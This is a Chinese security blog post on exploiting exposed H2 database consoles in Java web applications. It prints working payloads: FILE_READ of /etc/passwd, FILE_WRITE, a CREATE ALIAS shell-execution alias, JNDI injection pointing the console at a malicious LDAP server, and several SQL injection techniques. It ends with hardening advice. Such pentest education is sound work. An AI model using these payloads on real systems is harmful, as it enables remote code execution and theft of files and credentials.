JavaWeb中的信息泄漏——H2 database

  • A+

关于H2 database

  H2 是一个用 Java 开发的嵌入式数据库,它本身只是一个类库,即只有一个 jar 文件,可以直接嵌入到应用项目中。H2 主要有如下三个用途:
* 可以同应用程序打包在一起发布,这样可以非常方便地存储少量结构化数据。(最常用)
* 用于单元测试。启动速度快,而且可以关闭持久化功能,每一个用例执行完随即还原到初始状态。
* 作为缓存,即当做内存数据库,作为NoSQL的一个补充。当某些场景下数据模型必须为关系型,可以拿它当Memcached使,作为后端MySQL/Oracle的一个缓冲层,缓存一些不经常变化但需要频繁访问的数据,比如字典表、权限表。

  可以使用H2 console对H2 database进行相关的管理。
  在一些开发项目里会使用H2 database,但是如果存在相关的配置缺陷的话会带来一些安全问题。

基本使用

  下载相关程序包后,在bin目录选择相关的脚本即可启动:
* 如果在 Window 环境下使用,可以运行 h2.bat 或 h2w.bat。区别只是后者是后台静默运行。
* 如果在 Linux 环境下,可运行./h2.sh 文件来启动数据库服务。

  启动后访问localhost:8082即可访问H2 console:

image.png
  在Preferences进行相关的配置,例如设置允许远程访问H2 console,或者修改端口等相关操作:

image.png
  接下来就是配置数据库连接信息,驱动类和 JDBC URL 是默认的,如果你想创建一个新的数据库,直接修改jdbc:h2:[输入你想创建的数据库文件的路径],就可以为你自动创建一个新的数据库(在指定路径下会创建对应的数据库文件 xxxx.mv.db)。
  例如可以通过连接jdbc:h2:~/test,创建测试数据库test。
  同样的,在Spring Boot中使用 H2数据库也十分简单,pom.xml引入依赖:

```xml

org.springframework.boot
spring-boot-starter-data-jpa
2.2.6.RELEASE


com.h2database
h2
runtime
1.4.199

  在properties文件进行相关配置:
spring.datasource.url = jdbc:h2:mem:dbtest

配置h2数据库的连接地址

spring.datasource.username = sa

配置数据库用户名

spring.datasource.password = sa

配置数据库密码

spring.datasource.driverClassName =org.h2.Driver

配置JDBC Driver

数据初始化设置

spring.datasource.schema=classpath:db/schema.sql

进行该配置后,每次启动程序,程序都会运行resources/db/schema.sql文件,对数据库的结构进行操作。

spring.datasource.data=classpath:db/data.sql

进行该配置后,每次启动程序,程序都会运行resources/db/data.sql文件,对数据库的数据操作。

h2 web console设置

spring.datasource.platform=h2

表明使用的数据库平台是h2

spring.h2.console.settings.web-allow-others=true

进行该配置后,h2 web consloe就可以在远程访问了。否则只能在本机访问。

spring.h2.console.path=/h2

进行该配置,你就可以通过YOUR_URL/h2访问h2 web consloe。YOUR_URL是你程序的访问URl。

spring.h2.console.enabled=true

进行该配置,程序开启时就会启动h2 web consloe。当然这是默认的,如果你不想在启动程序时启动h2 web consloe,那么就设置为false。

``
  其中有两个关键选项:
spring.h2.console.enabledspring.h2.console.settings.web-allow-others如果设置了这两个选项且安装了h2 database,那么就会为你的Web应用增加一个path:/h2-console/,不过这个path可以使用spring.h2.console.path来修改。
  **
spring.h2.console.settings.web-allow-others`设置为true,则允许任意用户访问console,同时默认的数据库test登陆用户名是sa,密码为null,存在信息泄漏风险**。
  此时便可使用H2 Console来操作H2数据库了。
  同样的,SpringMVC只需要在对应的xml文件完成相应的配置即可。

H2 console的识别

  • 客户端H2 Console默认端口:8082
  • H2数据库的TCP服务端口:9092

  可以使用nmap进行验证是否开启了h2 db客户端服务:
nmap -A -sV --version-all -p 8082 -Pn ip

image.png

利用思路

  如果可以直接登录H2 console那么就可以进行简单的CURD操作了。当然也可以尝试通过相关的接口进行SQL注入尝试。

文件读取

  可以使用FILE_READ函数进行敏感文件的读取。(执行FILE_READ需要管理员权限
  第二个参数为NULL的话表示使用此系统的默认字符集。同时支持文件名和URL的方式进行读取。
sql
SELECT FILE_READ('/etc/passwd', NULL) CSS;

image.png

文件写入

  可以使用FILE_WRITE函数进行敏感文件的读取。(执行此命令需要对文件夹的写访问权和管理员权限
  将提供的参数(16进制)写入文件。返回写入的字节数。
sql
SELECT FILE_WRITE('00000074000000650000007300000074', '/tmp/hello.txt');

  例如往/tmp/hello.txt写入test:

image.png

执行Java代码

  H2中包含了一个重要SQL命令:CREATE ALIAS。这和PostgreSQL的用户自定义函数类似,可以用来定义与别名对应的Java函数,然后在SQL查询就像调用函数一样中调用它
  可以通过如下命令达到回显的效果:
sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
CALL SHELLEXEC('id')

image.png

JNDI注入

  参考pyn3rd师傅发的姿势。通过配置H2 Console的Driver CLASS和JDBC URL,即可触发一个JNDI注入。
  相关配置如下:
| 项 | 值 |
| ------------------- | ----------------------------------------------------------- |
| Setting Name | Generic JNDI Data Source (名称随意) |
| Driver Class | javax.naming.InitialContext (JDK自带也不用考虑额外的驱动) |
| JDBC URL | ldap://ip:port/jndi (恶意LDAP Server) |
| User Name和Password | 设置为空 |
  完成配置后点击"Save"保存,然后点击"Connect",会加载远程的恶意类并执行,这里以dnslog记录发起的恶意类加载为例:

image.png
  成功记录到发起的加载请求:

image.png

SQL注入

  H2 database和其他数据库基本一样,成因也是因为sql拼接导致的,也有报错注入、UNION注入、盲注。另外默认支持堆叠查询。例如
  1、字符串连接符是'||'
  2、1/0会触发报错

image.png
  3、Information_schema表保存着H2 database维护的所有其他数据库的信息,例如数据库名、表名、列的数据类型、访问权限等。

image.png
  4、......
  结合实际的注入场景查看相关的利用方式:
* 报错注入

  在没法使用union联合查询且系统存在报错回显时可以考虑,最主要思路是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。列举一些报错注入的函数:
  FILE_READ函数是支持文件名和URL的方式进行读取的。尝试访问一个不存在的路径将查询结果返回,例如查询user():
sql
FILE_READ(concat('test/',user()),NULL)

image.png
  REGEXP_LIKE函数主要用于正则匹配,第三个参数对应着对应的模式,例如i是不区分大小写:

image.png
  这里可以尝试写入不合法的值来进行触发报错,例如查询user():
sql
REGEXP_LIKE('','',user())

image.png
  思路是类似的,更多的函数可以查看对应的function列表。
* UNION注入

  跟其他数据库是一样的方式。举例说明:
  先通过 order by 查当前表的 column 数量:
sql
1 order by 列数--

  10的时候正常返回,11抛出异常,说明 column 有 11 个:

image.png

image.png
  通过union尝试获取当前用户名:
sql
0 union select 1,user(),null,null,null,null,null,null,null,null

image.png
* 布尔盲注

  布尔盲注一般通过页面返回的正常与否判断SQL执行的情况。一般盲注用到的函数H2也有。例如:SUBSTRlengthCASE WHENDECODE等。
  例如使用case when进行注入判断,当1=1时,查询的是id=1的内容:

image.png
  否则查询的是id=0的内容,返回null:

image.png
  同理,使用decode()函数同样可以进行布尔盲注,例如这里枚举当前数据库用户名的第一位,为S正常返回:

image.png
* 延时注入

  主要有以下思路:
  1、使用相关方法向一个不存活的IP地址发送HTTP请求实现延时
  同样的可以使用FILE_READ方法:
sql
FILE_READ('http://ip:port',NULL)

  通过请求目标服务器上不存在的端口实现延时:

image.png
  2、对多张表应用count(*):
sql
select count(*) from all_objects,all_objects,all_objects,all_objects

* 堆叠注入

  H2 是默认允许堆叠查询的。
  例如通过 ALIAS 命令调用java.lang.System.getProperty获取当前路径:
  通过堆叠注入定义与别名对应的Java函数GET_SYSTEM_PROPERTY:

image.png
  定义好后直接调用对应的函数结合union即刻获取对应的路径信息:

image.png

  同样的,类似Orderby注入也可以使用类似1/0进行判断,结合上面的方法进行相关的利用。

加固建议

  1、通过设置 spring.h2.console.settings.web-allow-others=false 参数,禁止远程Web访问H2数据库的信息。
  2、若需要使用H2 console,建议进行相关的访问控制,同时修改相关用户密码,防止匿名登录:
sql
ALTER USER sa SET PASSWORD 'password';

image.png

参考资料

https://codewhitesec.blogspot.com/2019/08/exploit-h2-database-native-libraries-jni.html
https://blog.ripstech.com/2019/dotcms515-sqli-to-rce/
http://www.h2database.com/html/functions.html
https://mp.weixin.qq.com/s?__biz=MzI2NTM1MjQ3OA==&mid=2247483658&idx=1&sn=584710da0fbe56c1246755147bcec48e